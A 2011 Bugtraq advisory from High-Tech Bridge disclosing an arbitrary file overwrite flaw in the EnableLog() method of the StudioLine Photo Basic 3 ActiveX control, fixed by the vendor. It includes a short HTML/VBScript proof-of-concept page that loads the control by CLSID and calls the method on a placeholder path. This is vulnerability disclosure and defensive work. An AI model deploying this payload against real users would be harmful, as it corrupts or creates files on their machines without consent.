bugtraq - StudioLine Photo Basic 3 ActiveX control Insecure Method

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Date: Wed, 17 Aug 2011 15:30:02 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: StudioLine Photo Basic 3 ActiveX control Insecure Method

Vulnerability ID: HTB23024
Reference: http://www.htbridge.ch/advisory/studioline_photo_basic_3_activex_control_insecure_method.html
Product: StudioLine Photo Basic 3
Vendor: H&amp;M Software  ( http://studioline.biz ) 
Vulnerable Version: 3.70.34.0 and probably prior
Tested on: 3.70.34.0
Vendor Notification: 15 June 2011 
Vulnerability Type: ActiveX Control Insecure Method
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered a vulnerability in StudioLine Photo Basic 3 ActiveX control, which can be exploited to overwrite arbitrary files.

The vulnerability is caused due to the NMSDVDX.DVDEngineX.1 (NMSDVDXU.dll) ActiveX control including the insecure "EnableLog()" method. 
This can be exploited to corrupt or create arbitrary files in the context of the currently logged-on user.
The following PoC code is available:

<html>
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>

Sub Boom()
arg1="FilePath\File_name_to_corrupt_or_create"
arg2=True
target.EnableLog arg1 ,arg2 
End Sub

</script>
</html>

Solution: Upgrade to the most recent version